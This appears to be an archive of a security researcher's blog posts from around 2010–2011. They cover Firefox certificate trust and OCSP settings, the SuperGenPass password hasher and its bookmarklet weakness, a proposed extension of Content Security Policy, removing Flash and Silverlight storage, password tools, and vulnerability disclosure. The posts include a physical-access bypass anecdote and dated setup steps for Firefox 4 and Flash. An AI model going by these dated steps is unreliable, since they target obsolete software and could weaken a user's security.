Note that these are specific certs, not CAs. You can manually configure these in Firefox by going to Preferences->Advanced->Encryption->View Certificates and manually editing the trust for every certificate. This is a pretty tedious process, and so you can rather download the preconfigured certificate database from me here (SHA 512: e184e5750ccab4b9ea6ef4d67e813fcdbe8515ac9aafc9ded1fa27eb59c8bfe111cba5d424d33721f830b2d2b5ff3a388a4885502a93f6d805041ecbcaf31c05). This will overwrite any existing certificates you may have trusted or imported, so I'd recommend you do it on a new clean profile. Just copy it into your Firefox profile directory. A profile directory is usually several random alphanumeric characters followed by the profile name e.g. xxxxxxxx.default. On different operating systems the file should be placed in:

OSX ~/Library/Application Support/Firefox/Profiles/xxxxxxxx.default/cert8.db
Windows %APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default\cert8.db
Linux ~/.mozilla/firefox/xxxxxxxx.default/cert8.db

I've been surfing with this configuration for a day or two now with no problems. Your browser will validate the entire chain, so if a certificate is signed by an intermediary you don't trust, but which is eventually signed by a root you do trust, then your browser won't give you a certificate error. This means the impact of this change is limited and basically prevents some of the stranger CAs like Booz Allen Hamilton or The Chinese Gov from issuing certs you will trust, but wouldn't prevent a compromised intermediary (as in Comodogate) attack. If you've decided not to trust Comodo post Comodogate, you can untrust the Comodo and AAA certificates, although will receive many untrusted cert errors.

Forcing OCSP verification Checks

There are two ways for your browser to check whether a certificate, validly signed by a certificate authority, has been revoked. The first is to check the CRLs embedded in a certificate, and the second is to do a dynamic lookup over the Online Certificate Status Check Protocol (OCSP) (one can also subscribe to CRL lists, but this is currently an onerous and complete process). By default this is not forced each time, and must be enabled ~~by manually toggling the option in about:config~~ through a config option. The trade off is that the OCSP provider can see what sites you are visiting. If you're being surveilled you may not want to do this, but for your average user it may be worth it given the current compromises.

To do this:

~~Type "about:config" in your URL bar~~
~~Click "I'll be careful I promise" when you see the warning~~
Add a new Boolean key named security.OCSP.require
~~Ensure the value is set to "true"~~

Navigate to Preferences->Advanced->Encryption->Validation
Select both checkboxes referring to using an OCSP server, and marking failed validations as invalid
Choose the first radio button about using OCSP if a cert specifies it (hopefully a trusted entity will run a decent OCSP server we can validate all certs against soon)

Monitoring for Certificate Changes

Your browser now provides a little more certainty that you can trust the random certificate it has been presented, however, it is still useful to know when a certificate has changed. This will give an indication that either a validly signed certificate is being used in a man in the middle attack, as is the case with some lawful intercept products, or as in the case of Comodogate. For example, my use of certificates on this website has nothing to do with valid signatures and relies on the fact that the exact same certificate that I trust is in use. For this monitoring I used to use Petnames, however, this has not been updated for Firefox 4, and so I found Certificate Patrol (thanks Ivan). This too is not compatible with the final release of Firefox 4, however, it is with a beta, and so ~~disabling Firefox add-on compatibility checking~~ using the add-on compatibility reporter will allow it to be installed.

What Certificate Patrol does when you first visit a site and are presented with a certificate, is to display a pop-up showing the certificates details. This forces you to actually evaluate the certificate for common-sense indicators e.g. is it assigned to the company it should be or "Iranian Secret Police". The really useful feature however, is when you next visit the site, it will check that the certificate is the same as seen before, and if there is a mismatch (i.e. the certificate has changed) it will warn you. Thus, for example, if you are in a wireless hot-spot and find you get a "certificate changed" warning on every SSL site you visit, that's a clear indication that someone is intercepting your traffic. If you get it on your banking website with no warning, it should make you look for an announcement from the bank about it, and if not, ask them for one.

To disable add-on compatibility checking and install Certificate Patrol, do the following:

~~Got to about:config as described in the previous section~~
Find the key named extensions.checkCompatibility.4.0
Toggle the value to false

Install the "Add-on compatibility reporter" to allow you to install & report on plugins not yet marked as compatible with FF4
Navigate to the Certificate Patrol page, and click "Download Now"
Restart Firefox when prompted

If you want to take it a step further, there is the Perspectives add-on. What this does is contact a specialised notary that comments on how long the certificate presented by the site has been "seen". The add-on will them assign a "trustworthyness" based on how consistent the answers between notaries are, and how long the certificate has remained the same. Thus, if you are being man-in-the-middle'd the certificate presented would be different from any the notaries had seen and a failure would be issued.

Update: Updated to avoid about:config changes.
Update II: Added SHA sum of cert trust DB and fixed some spelling.
Update III: Referenced perspectives

SuperGenPass Update

nospam@example.com (Dominic White) — Tue, 01 Mar 2011 14:46:43 +0200

I made a small update to SuperGenPass (full write up) to randomise several of the variable names. This will prevent this exploit from working. It is by no means fool proof, and I'd still recommend using the Data URI or other out of band version for full assurance. I've been using it for a few weeks now with no incident. Additionally, as the randomisation is done per user, and up-front, I'd recommend hitting the page via TLS. I use a self-signed cert, the fingerprints are on the right of my blog.

SuperGenPass

nospam@example.com (Dominic White) — Tue, 17 Nov 2009 20:20:33 +0200

As someone who uses a lot of web apps, I run into the problem of trying to remember multiple passwords. Most people resolve this by just using the same password across all the sites. However, as numerous, examples, have, demonstrated, that's not a good idea. The knee-jerk counter is to use a different password (or groups of passwords) across the sites, but that becomes difficult to remember. If you want the quick solution I'm proposing then check out SuperGenPass (or my customised version). The security geek details follow after the jump.

Some of my colleagues use password databases such as KeyPassX, or the browser's "remember password" feature. These solutions are significantly better than using the same password across all sites, but suffer from a few problems:

You have all your passwords written down somewhere - at some point you may not be the only one looking at this list
That list isn't always protected - e.g. using Firefox's "remember password" feature without a master password could expose your password on physical theft of the device
Portability - if you aren't at your machine you can't log in. KeePassX is quite portable, but then ends up making more copies of the password list.

None of these are killers, but they aren't ideal. This is where SuperGenPass comes in. SuperGenPass hashes a password with the domain to make a unique password per-site, meaning that a compromise or malicious admin on one site won't give them the password for another site. The main advantage is that there's no database or list of passwords lying around that could be compromised and you only need remember one password. If you wear lots of tinfoil like me, you can remember groups of passwords e.g. critical, important, arb sites. It's ridiculously portable with a bookmarklet (don't use this, see below), data URI, straight JavaScript, Python (alternative) and J2MEE implementations.

There are a few potential problems that need to be considered (they all have solutions) however:

The bookmarklet runs in the same context as the website you're logging into. This means javascript on the site (or POST'ed/GET'ed information) has access to it. This allows a malicious or hacked site to get hold of your master password. There's a better explanation here, and I put up a demo here. So DO NO USE THE BOOKMARKLET. Any of the other versions are good enough, but are vulnerable to shoulder surfing (something the bookmarklet is not vulnerable to).

Update: The bookmarklet now uses some random variable and function names to reduce the changes that a straight capture of the master password will work. I'd still avoid the bookmarklet for important stuff.

The algorithm doesn't include za.net and za.org as top level domains. This means that all your passwords for the approximately 30k domains hosted under these could have the same password. As it is unlikely that the majority of internet users use more than one web-app in these domains, this isn't a huge risk. Although, it does technically make finding the correct MD5 collision slightly easier. When I notified the developers of the bug, the response was that a change in the algorithm would affect users with existing passwords on these sites and hence they would not change it. So I made my own, more on that later.
The default password length is 10. That's fine, but given research like this, and that setting the default to 12 costs the user nothing and potentially buys them $7,700,102,463 extra protection per password, that sounds like a good deal.
MD5 - this isn't a problem. The knee jerk I hear from some security people is that is uses MD5 and that's broken. However, the vulnerability in MD5 allows other values to be found that hash to the same value (a collision). This does not let you work out the reverse i.e. the original value (master password in this case) from a single hash however. So we're safe here (I think, crypto nerds got any comments?)

In light of the above, I've made my own customised version of sgp. It includes customised versions of all but the J2MEE version (which is partially customised by it's author to include za.net/org already). My recommendation is to use the Data URI as a bookmark loaded in your sidebar (in Firefox). While it is slightly slower logging in to one site because you will need to type the domain, it is faster when logging in to many because you can just change the domain without re-entering your master password. It is vulnerable to shoulder surfing however.

In summary. SuperGenPass provides a convenient way to use different passwords across different sites. There are some potential problems and improvements, to which I recommend using my customised version, with the preferred method being the Data URI as a Bookmark loaded in your sidebar.

Thanks to Russell for pointing SGP out in the first place, and Michael for the Python and J2MEE version and the changes.

Anti-Predictions for 2011

nospam@example.com (Dominic White) — Mon, 10 Jan 2011 11:53:20 +0200

Come the turn of the year, many people draw up list of predictions for the next. This list is slightly different, instead of focusing on what new threats, vulnerabilities or attacks we'll see, this is a list of some things that, if not already handled should be in your security strategy for this year. Some organisations are further along than others, and this list is targeted at the average ZA organization based on my observations. (Full disclosure, some of the items relate to services my employer offers, that's just because I believe in them).

Get a handle of what you have online. Many orgs have a much larger Internet presence than what's sitting in their hosting center. Cheap hosting, elastic hosting, service providers with their own infrastructure (particularly those catering directly to business units), half forgotten subsidiaries & business partners all put services online that tend to get overlooked. But expose your company to brand damage or access to your network. Best of all, this is cheap & quick to do. Consolidating the results into controlled hosting areas and applying consistent security standards isn't unfortunately.
Check up on exceptions to the basics. By now most have at least a basic patch, virus, change & configuration management process for servers. If you don't, start. If you do, start checking on exceptions such as;
- How many servers don't we know about & why?
- How many servers don't have AV & patches up to date?
- How many changes that didn't go through change control were made?
These are harder questions to answer, but as any pentester will tell you, we're good at finding those machines and that's our quick 'n easy in.
Third party patches. Microsoft did some good work in sorting out their patch release cycles and it's fairly easy to get those patches applied regularly. Unfortunately the attacks have moved to the harder to patch, less secure software on machines operated by less savvy users. This means you need to start managing non-MS patches, and you need to do it on more than just servers. Worse still, each third party software provider has their own update mechanism which is hard to centrally manage (in a Window environment at least). Big ticket patch management tools have long had this capability but they also come with the price tag. Cheaper tools such as Secunia CSI or even the right vulnerability scanner can alert on what needs doing.
Mobile security *processes* - People have hyped mobile security for years and we're at a point where there's a reasonable expectation that a majority of information workers have at least company email & calendar data on their phones. The most likely threat is of the device being lost or trivially accessed. Figure out what controls you can push to the most number of devices (e.g. MS ActiveSync allows passwords and lock times to be enforced & iDevices or RIM devices have an extended set of controls). More importantly however, is to implement processes for using these. They don't need to be perfect, but at a minimum employees should be able to report lost or stolen phones and have a remote wipe command sent & passwords reset.
Physical Access Management - It's 2011 and there are still wildly inconsistent ways in which this is managed. Make sure there is proper equipment sign in/out, that guards actually check bags & that legitimate data is entered (or go for the Ricardo Semler approach, but don't pay for an awkward middle ground). I still regularly sign in as Osama Bin Laden and walk in/out with laptops hidden in my bag. There are some nice advances in tech in ZA too; electronic sign in devices that look up ID numbers OTA and take copies of fingerprints. Next up make sure there's adequate camera coverage of your offices & that suspicious behavior is actually queried. A guy in a suit should not be an untested edge case.

These items need some real thought, and the above is intended merely as pointers, rather than full implementation guides. As for actual predictions, we've had some fun with that at work and will hopefully add to the noise with those soon.

Browser Security - better defenses

nospam@example.com (Dominic White) — Mon, 29 Nov 2010 18:20:57 +0200

While sitting is a couple of talks at BlackHat Abu Dhabi, I got to thinking about how we can improve browser defenses. Much of the problems we have are due to the same problem that has plagued systems since Captain Crunch first blew his whistle at 2600 hertz; the data and control channel are the same. Your browser can't tell the difference between attacker injected script and legitimate scripts and happily responds to both. It's what allows XSS and CSRF attacks, and even SQLi. Framebusting is a great example of this, a site owner doesn't want his page to sit in a frame, but has to compete in the arms race against attackers who want the site to be framed. What we need is some way for a site-owner to specify a security policy, that exists outside of the application. The site-owner should be able to specify that the site shouldn't be framed, and the browser respect that, without an attacker able to inject an alternate set of instructions (or at least not trivially via the actual app). Right now, even if a site-owner is aware of the problem, with a smart security team, all they can do is compete in the arms race.

There's a corollary to the problem however, third-party content. The web is made of mashups. Even single-source content providers still include a raft of third-party content, from RSS feeds, to advertising or JQuery. This introduces a whole set of potential interconnected vulnerability that a site owner can't control. If an ad provider is hacked and used to distribute malware, then the site-owner's only choice (if detected) is to remove the ad.

We need something that can give a site owner control back of their application. Something that can be specified outside of the page content. A security policy that puts all the controls we have available to us with software (enforced security policy & ability to disable features not required) back in the hand of the right people. Once we get it, there's a whole separate discussion about how to get it widely supported and implemented, but we would need to agree on what that should be first.

Right now, a proposal for something like the first requirement exists in the form of the Content Security Policy put forward by Mozilla. This allows for a security policy to be specified outside the page, as a header returned by the webserver. Primarily, it controls what sources third party content can be loaded from, and prevents ways of getting around that. Additionally, it allows for policy directives that control additional features of the browsing experience. Following our framebusting example, one could use the frame-ancestors directive to ensure that your site can't be framed (in browsers which support CSP) by malicious sites. No JS in the page or frame attempts from third-parties could say otherwise. CSP is pretty great, but...

Like many defenses, the attacks have moved on. If you look at the number of new attacks enabled by HTML5, or attacks using Flash/SilverLight, limiting scripting and 10 policy directives won't cut it (but provides significantly more capability than nothing). We need something more comprehensive, and more future proof. What I'd like to propose, in a very early state looking for feedback, is an extension to CSP, where we have a policy directive for every browser feature. This could be done as some sort of capability tree where either an "on/off/whitelist/blacklist" rule can be applied. For example, image the following depth-first view of a tree leg "external data -> css -> images -> background-image" At the highest level, we could provide a global white/black list of the origins of external data, or turn it off completely. The next level down, we could do the same for CSS only, or completely disable it if our site doesn't require it. Continuing down the tree until it is possible for us to provide highly-granular control of individual CSS directives specifically. Thus, once could create very simple policies, or more complex granular policies.

This would buy us two improvements to CSP as I see it. The first is that we could avoid a reactive update of CSP every time a new attack using functionality not catered for by CSP comes out. The second benefit, is that the potential "attack surface" for an application could be greatly limited. Imagine being able to profile your app and provide a specific policy enabling only the functionality required by your app. Any attacks requiring such functionality would fail.

For the second problem, there are far less advanced tools available. The closet to it are the new HTML5 <iframe> sandbox directives, but they fall way short. What we need is something that can apply to all third party content (much like CSP, image sources, javascript sources, style sources etc.), and that provides a granular capabilities model. For this we could use the same capability tree from above. We'd need to work out how a site-owner defined policy and third-party enforced policy would relate, but it makes sense that a site-owner should not be able to re-enable stuff when including it as third-party content that the external site-owner has set. If not, attackers could just disable anti-framebusting CSP in their frame. So, a site-owner would only be able to further disable functionality when including third-party content. This could comfortable fit into the exiting CSP proposal, which already allows policy directives to be applied per origin.

This would allow a site owner to enforce significantly more control over content she was serving from third parties. For example, content from an ad network could be limited to only the functionality required (e.g. a specific image source and inclusion method, and possible explicit JS functionality to allow the monkey to be punched) and any malware served through it would be fairly castrated. Likewise, one could include content like Google Analytics or the FaceBook like button, but prevent them from setting a cookie.

In summary, I am proposing a discussion be started on extending CSP to provide a more granular control and enforcement model and further extending it to allow the enforcement to extend to how a site-owner wants to include third-party content. I'm possibly being quite naive about all of this, and would love some feedback. Truthfully, I'm not sure what the next steps would be, but we need to invest more time into fixing the web, rather than just breaking it.

Adobe Flash LSO & Microsoft Silverlight LSO Cookies

nospam@example.com (Dominic White) — Mon, 22 Nov 2010 22:28:09 +0200

I've been playing with ways of nuking evercookie-style identifier dropping (note: killing the evercookie specifically is silly, I'm aiming for unknown reimplementation too) and have worked some stuff out about LSOs. LSO are Local Storage Objects, they are ways Flash and Silverlight can store info on your machine rather than the remote server. The most common uses appear to be to drop an identifier, which behaves in exactly the same way as a cookie, or to store preferences (e.g. youtube volume settings).

The following information pertains to OSX, I'll get to other OS'es but I imagine their implementations won't vary greatly.

On OSX, three locations are relevant for these:

/Users/<username>/Library/Preferences/Macromedia/Flash Player/#SharedObjects/<8 random alphanumeric characters>
/Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/
/Users/<username>/Library/Application Support/Microsoft/Silverlight/is/<8.3 random alphanumeric>/<8.3 random alphanumeric>/1/

The first is where Adobe Flash LSOs are stored, the second is where site-specific Flash configurations are stored and the final is where Microsoft Silverlight LSOs are stored. Adobe LSO's are stored in files with the .sol extension. Silverlight uses a more complex storage mechanism and stores the data in a series of .dat & .txt files.

At first I played with just nuking everything with a recursive force delete. This will clear out anything in the LSO stores. You can even safely go as high up the directory tree as to exclude the <random dirs> e.g. rm -rf /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/*. However, this will not prevent future LSOs from being set. This will help provide anonymity (from techniques using these identifiers) between each clearing out, but not during, and frankly isn't good enough.

Next, I wanted to prevent them from being re-set. So, I looked at disabling the top-level storage directories by removing all permissions, but that causes undefined behaviour including Safari crashes and Flash/Silverlight universally not running. But Adam Shostack has helpfully sent me a script he had created which deleted the files, recreated blanks, and removed permissions. So, I set about experimenting with that. What I found was that while this works fine for Silverlight, it doesn't for Flash. Flash happily ignores the permissions and just overwrites the file (no symlink vuln here, I checked). Ok, so I then tried linking them to /dev/null, same thing, works for Silverlight, but Flash just sets them back. In some cases, Flash will even go so far as to temporarily use different file extensions to write the files, and move them over to the original once they're available again. Is it just me or is that overly persistent? I eventually worked out, by actually looking at Adam's code, that changing perms or symlinking to /dev/null on the directory containing the .sol rather than the .sol itself works. However, even then, the browser seems to still be able to create temporary LSOs in memory that persist until refreshed.

I eventually decided using the programs' own configuration options was probably the best way. Both Flash and Silverlight have a configuration option to limit the storage of LSOs. Flash uses the settings manager to modify the file /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/settings.sol By flipping the second byte after the "allowThirdPartyLSO" keyword you can manually set the setting. I opted to just generate a good settings.sol that I could overwrite the existing one with, which allows changes in this file to be easily managed by just regenerating a new one. Silverlight is much easier; you can either use the built-in settings manager by right-clicking in any Silverlight app, or create a blank file in /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/<random 8.3>/<random 8.3>/1/disabled.dat . Setting both of these permanently, and more robustly, disabled LSOs for both system.

However, one issue remains. Even with this setting, Flash still creates an entry is directory (2) above, to allow site-specific configurations items to be stored. This setting inherits from the global config, and won't allow custom data to be stored if all 3rd party LSOs are blocked. This setting is stored in /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/#<domain.name>/settings.sol in the second byte after the "allow" keyword. This certainly provides some useful info for forensic investigators: any time a user with all Flash local storage settings off and all privacy settings on visits a flash page, an entry will be created in the location above. You can't clear this from within the browser without the help of an extension which deletes the files. Also, less worryingly, Silverlight's file needs to be placed in the unique random directory structure that's created, which means a unique identifier persists. The solution there was just to change the directory name randomly, which Silverlight happily rolls with, and another UID bites the dust.

In short, the article above describes the best way to permanently disable LSO storage in Flash & Silverlight, and what not to try. The end result should be, that the evercookie won't be able to use them as locations. However, neither will legitimate applications. For the most part, this doesn't appear to break anything, as mostly apps store preference data, but there must be a few apps it will break. The solution to that will be detailed with some of the other, more interesting evercookie work at a later stage.

ZaCon II CFP Closes on Fri

nospam@example.com (Dominic White) — Thu, 19 Aug 2010 10:09:11 +0200

The ZaCon II CFP is nearing it's closure date (tomorrow!), and this is an overt reminder to all of you thinking about submitting to do it. ZaCon is a great place to either give your first infosec presentation or deliver a tech-heavy presentation to a receptive crowd. All you need do is submit a short abstract to abstracts@zacon.org.za and if your submission is accepted, prepare and deliver a presentation. You don't even need to write a paper. If that isn't lowering the barrier to entry enough, then you're just lazy :)

If my submission is accepted (heavy bribery underway), then I'm hoping to set up an infosec BP-style debate, and will be approaching some of you "I'm smart but never share that outside the office" types to get involved, and hopefully have some fun.

You can read more of my thoughts on ZaCon here. Also, at some indeterminate point in the future, some ramblings about ZaCon will appear in episode 18 of Let's Talk Geek.

Password Strength Checker & Generator

nospam@example.com (Dominic White) — Tue, 04 May 2010 18:49:39 +0200

This has been reposted from it's original at my new second blogging home at SensePost.

In my previous role working as a security manager for a large retailer, I developed some password tools for various purposes, primarily to help non-security people with some of the basics. I licensed them under the GPL, and I think it's about time they saw the light of day.

There are a couple of tools, which I will explain below. They're all written in JavaScript, primarily because it is cross-platform, but can be centrally hosted. They all work in Firefox and Internet Explorer, although the automatic copy to clipboard functionality of the service desk tool is IE only.

The intention is for the tools to be placed into your organisation's intranet somewhere. I found they came in much use, allowing me to reference a specific tool and setting rather than esoteric password theory in documents. For example, security standards documents would say "Service account passwords should either be generated by the password generator set to the service account setting, or be rated as "very strong" by the password strength checker", which is far more practical than quoting a list of password rules.

Being centrally hosted also allows updates to be made immediately in the case of a policy change, new common password addition, or bug. This also allowed web logs to provide an audit trail of who was using the tools. Particularly useful in the case of monitoring service desk activity e.g. If the service desk records 100 password resets, and the tool only saw 10 hits, you know something's up.

If you're a tactile learner, you can grab them here.

Password Strength Checker

This tool was written in response to the poor attempts at password strength checkers seen on many sites. They do basic checks for upper, lower-case characters and numbers. This allows passwords like "Password1" to be marked as "strong." Primarily based on Tyler Atkins' entropy and common word checker, I put together a more advanced utility. This will check the chosen password for:

Length (over 8 characters)
Character sets (lowercase, uppercase, numbers, special characters)
Frequency (checks for common sets of characters e.g. "u" following "q", biased to English)
Common Words (checks that common words aren't used e.g. Password1)

I've added a progress bar from Gerd Riesselmann, and a key for guidance. I've also eased the password strength requirements to better fit reasonable corporate password policies. These can be easily modified in the code though.

There are two versions provided, one which displays the results of the entropy calculations, and one which does not (user's rarely care).

Password Generators

There are three password generators, each with a different audience in mind.

Full Password Generator

The full password generator is the most complex and has a number of features:

Generate random passwords of varying complexity based on a "usage" selector such as "user", "administrator" or "service account". These match up to the complexity key in the strength checker.
Generate lists of passwords to be used as distributed One-Time-Password lists. This is useful if passwords are regularly required between two parties to avoid using a static password. The list can be delivered via an alternative medium than the data being transmitted, and an agreed rotation period set up, such as a new password to be used "every day" or "every week".
Create a NATO alphabet version of the password for speaking over the phone with the "will be spoken" option

The actual password generation code was courtesy of the no-longer-available CryptoMX tools, and the NATO alphabet conversion code was courtesy of L. Bower.

Service Desk Password Generators

The service desk password generators were created to help the service desk stop resetting everyone's password to the same thing. It's one of the most pervasive security problems in any organisation, the service desk are told to reset passwords to some common password like "abc123", "Password<x>" or "<username>". Most user's know it, and if you do ever investigate service desk password resets, will find some serious abuses going on. This tool is a quick and dirty way to provide more reasonable alternatives for the service desk to use.

It's basic features are:

A very simple interface and instructions
A basic and somewhat unique password is generated
A "pronounceable" version of the password is created in the NATO alphabet for speaking over the phone
The password is copied to the clipboard (IE only) for pasting into whatever reset tool is in use

There are two versions, the first generates a strong random password, and the second uses one of a list of weak base words, with random numbers put on the end. The second was created after push back from the service desk agents saying that user's were complaining about the random passwords. I don't like the second version, because it is still fairly predictable, and someone internally could pull out the passwords and create a simple password list to feed to any number of tools. If you are going to use the second version, please use your own list of words, ideally several thousand to increase the entropy. The current list was created by taking the top 500 6-digit words from the Unix English (en) dictionary, and removing complex ones.

These tools where originally written when I was an employee of Deloitte South Africa, and while necessarily under the GPL due to included code, are still published here with permission of them. They have however, been updated since then on SensePost's coin.

In Defence of Vulnerability Researchers

nospam@example.com (Dominic White) — Sat, 24 Apr 2010 12:53:02 +0200

Verizon's Wade Baker (with assistance from Dave Kennedy, who I will refer interchangeably to as with Wade, Dave or Verizon) published a post claiming that vulnerability/security researchers are given too much leeway, and are closer to criminals than good guys. He suggests they should rather be called "narcissistic vulnerability pimps" (NVPs) in future. Dan Goodin got some clarification when writing his piece for The Register which expands on some of Verizon's motivations and justifications.

While I think I identify with part of his frustrations, he's wrong. Mostly due to an overconfidence in how vendors optimise for "shareholder value", but also because while scrabbling to paint vuln researchers as bad guys, he forgot about the actual bad guys.

Wade suggests three categories that could be used to describe security professionals, as they are neither exclusive, accurate or sufficient I'm going to ignore them. Instead, I'm going to try and distill what Wade believes is the problem, and his preferred approach while attempting to avoid the straw man.

Wade seems to believe that people who discover vulnerabilities, then publish them to the general public, whether after informing the vendor or not, are motivated predominantly by glory and not good intentions. The few motivated by good intentions, it seems, would also be labeled problematic by Wade (& Dave, as the quote is his) because:

[F]ull disclosure was never a good idea, even in cases, like Ormandy's dust-up with Oracle.

The alternative it seems Verizon would like to see, is that researchers who find vulnerabilities report them to the vendor and walk away. I'm assuming they'd allow for some follow up, but publishing the vulnerability publicly would earn you the NVP label. Once again a quote from Wade/Dave/Verizon/Dan Gooding:

"Apple has a responsibility to their shareholders and to their customers to deal with the vulnerabilities, and their shareholders and their customers can hold Apple's feet to the fire. They have their own ways of exerting pressure on Apple to behave in a way they think Apple should behave."

There's an obvious problem with Wade's approach; it isn't universalisable, and we have hard facts for that. There are many vendors who don't act on reported vulnerabilities as anyone who's ever submitted security flaws to vendors can tell you. David Litchfield has even waited a few years before eventually publishing Oracle vulns. Even if every vendor in existence responded to discovered flaws perfectly, there's no obligation for them to. If we look at the externalities pressuring them to action, sexy new features are going to please both shareholder and customers more. Those same customers and shareholders don't really understand this complex security mumbo jumbo, and so in the rare instances when they can patch a bug without at least one news outlet publishing a "OMFG there's a flaw in product X" the customers and shareholders still aren't going to fully appreciate the security fix. What's more, if a security fix prevents a customer from getting hacked, they will have no idea, and won't credit the vendor. The only time not deploying a fix will be a problem for the company is if a mass or high-profile public hack of their customers occurs. Given that most criminals don't like getting caught and that computer crime is hard to detect, that's a much rarer event than the actual occurrence of hacks. This is exactly why full disclosure came about, *in response* to the way vendors were ignoring bugs, to add another externality to drive them into fixing bugs.

This is where the difference between actual computer criminals and security researchers becomes important. Something Wade get's woefully wrong:

Have you ever heard of a terrorist referred to as a “demolition engineer?” How about a thief as a “locksmith?” No? Well, that’s because most fields don’t share the InfoSec industry’s ridiculous yet long-standing inability to distinguish the good guys from the bad guys.

The security researchers Wade is taking aim at are the one's who publish their work publicly (hence the addition of "narcissistic" I believe). But there are a whole whack of people who don't publish their work publicly, or to the vendor or even via vuln clearing houses like VDI (which eventually gets to the vendor). Wade doesn't pass judgment on them. Even those people aren't criminals. One could argue they aren't optimising for the public good, because an actual criminal could have found the same flaw and be privately exploiting it. They aren't criminals because they haven't committed a crime, or even harmed anyone. Actual criminals are people who either discover or buy flaws and then use them to (or have the intention to) commit a crime. This is the distinguishing difference between a thief and a locksmith, or a terrorist (an already loaded term) and a physical pentester. Their intention, and what they do with the information. One uses it to fix the hole, the other exploits it. This is why full disclosure exists, not the make money, but to encourage people to fix the holes, not exploit them. The fact that it can buy you a limited about of fame is a bonus because it provides an incentive to go public (one that pales in comparison to the hard dollars you can get via other means).

Finally, I do identify with parts of Wade's frustration with regards to people who either disclose without reporting to the vendor first, or hype a vulnerability way beyond it's actual risk. The first leaves the install base vulnerable with the exploit popularised, the second causes people to optimise resources poorly. There's room for updated research on vulnerability life cycles, to ensure the debate revolves around facts and not hypothesis. Either way, one should not be confused about which side those researchers are on. They are the good guys, their work could be used in far more evil ways, they do work the vendor isn't able/capable of. They make us safer, maybe not always in the best way, but in the end they make us safer.